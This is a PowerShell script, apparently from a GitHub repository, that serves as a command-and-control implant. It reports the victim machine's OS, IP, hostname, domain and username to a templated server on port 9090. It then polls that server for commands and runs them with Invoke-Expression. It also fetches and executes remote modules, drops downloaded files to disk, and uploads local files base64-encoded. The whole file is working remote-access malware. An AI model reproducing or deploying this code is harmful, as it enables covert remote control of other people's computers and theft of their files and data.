-
Notifications
You must be signed in to change notification settings - Fork 12
/
get.ps1
145 lines (118 loc) · 3.27 KB
/
get.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
$hostname = $env:COMPUTERNAME;
$whoami = $env:USERNAME;
$arch = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
$os = (Get-WmiObject -class Win32_OperatingSystem).Caption;
$domain = (Get-WmiObject Win32_ComputerSystem).Domain;
$IP = (gwmi -query "Select IPAddress From Win32_NetworkAdapterConfiguration Where IPEnabled = True").IPAddress[0]
$random = -join ((65 .. 90) | Get-Random -Count 5 | % { [char]$_ });
$agent = "$random-img.jpeg"
$finaldata = "$os**$IP**$arch**$hostname**$domain**$whoami"
$h3 = new-object net.WebClient
$h3.Headers.Add("Content-Type", "application/x-www-form-urlencoded")
$h = $h3.UploadString("http://{ip}:9090/info/$agent", "data="+$finaldata)
$h2 = New-Object system.Net.WebClient;
$h3 = New-Object system.Net.WebClient;
function load($module)
{
$handle = new-object net.WebClient;
$handleh = $handle.Headers;
$handleh.add("Content-Type", "application/x-www-form-urlencoded");
$modulecontent = $handle.UploadString("http://{ip}:9090/md/$agent", "data="+"$module");
return $modulecontent
}
function Download($file)
{
$handle = new-object net.WebClient;
$handleh = $handle.Headers;
$handleh.add("Content-Type", "application/x-www-form-urlencoded");
$modulecontent = $handle.UploadString("http://{ip}:9090/up/$agent", "data="+"$file");
return $modulecontent
}
function upload($file)
{
$handle = new-object net.WebClient;
$handleh = $handle.Headers;
$handleh.add("Content-Type", "application/x-www-form-urlencoded");
$modulecontent = $handle.UploadString("http://{ip}:9090/img/$agent", "data="+"$file");
return $modulecontent
}
while ($true)
{
$cmd = $h2.downloadString("http://{ip}:9090/cm/$agent");
#echo $cmd
if ($cmd -eq "REGISTER")
{
$h3 = new-object net.WebClient
$h3.Headers.Add("Content-Type", "application/x-www-form-urlencoded")
$h3.UploadString("http://{ip}:9090/info/$agent", "data="+$finaldata)
continue
}
if ($cmd -eq "")
{
sleep 2
continue
}
elseif ($cmd.split(" ")[0] -eq "load")
{
$f = $cmd.split(" ")[1]
$module = load -module $f
try
{
$output = Invoke-Expression ($module) | Out-String
}
catch
{
$output = $Error[0] | Out-String;
}
}
elseif ($cmd.split(" ")[0] -eq "download")
{
try
{
$file = $cmd.split(" ")[1]
echo $file
$path = $cmd.split(" ")[2]
echo $path
$filedata=Download -file $file
$bytes = [Convert]::FromBase64String($filedata)
[IO.File]::WriteAllBytes($path, $bytes)
$output="download file to $path"
}
catch
{
$output = "err download file"
}
}
elseif ($cmd.split(" ")[0] -eq "upload")
{
try
{
$path = $cmd.split(" ")[1]
#echo $file
$filedata=[IO.File]::ReadAllBytes($path)
$bytes = [Convert]::ToBase64String($filedata)
echo $bytes
$output=upload -file $bytes
}
catch
{
$output = "err upload file"
}
}
else
{
try
{
$output = Invoke-Expression ($cmd) | Out-String
}
catch
{
#$output = $Error[0] | Out-String;
}
}
#Echo $output
$bytes = [System.Text.Encoding]::UTF8.GetBytes($output)
$redata = [System.Convert]::ToBase64String($bytes)
$h3.Headers.Add("Content-Type", "application/x-www-form-urlencoded")
$re = $h3.UploadString("http://{ip}:9090/re/$agent", "data="+$redata);
}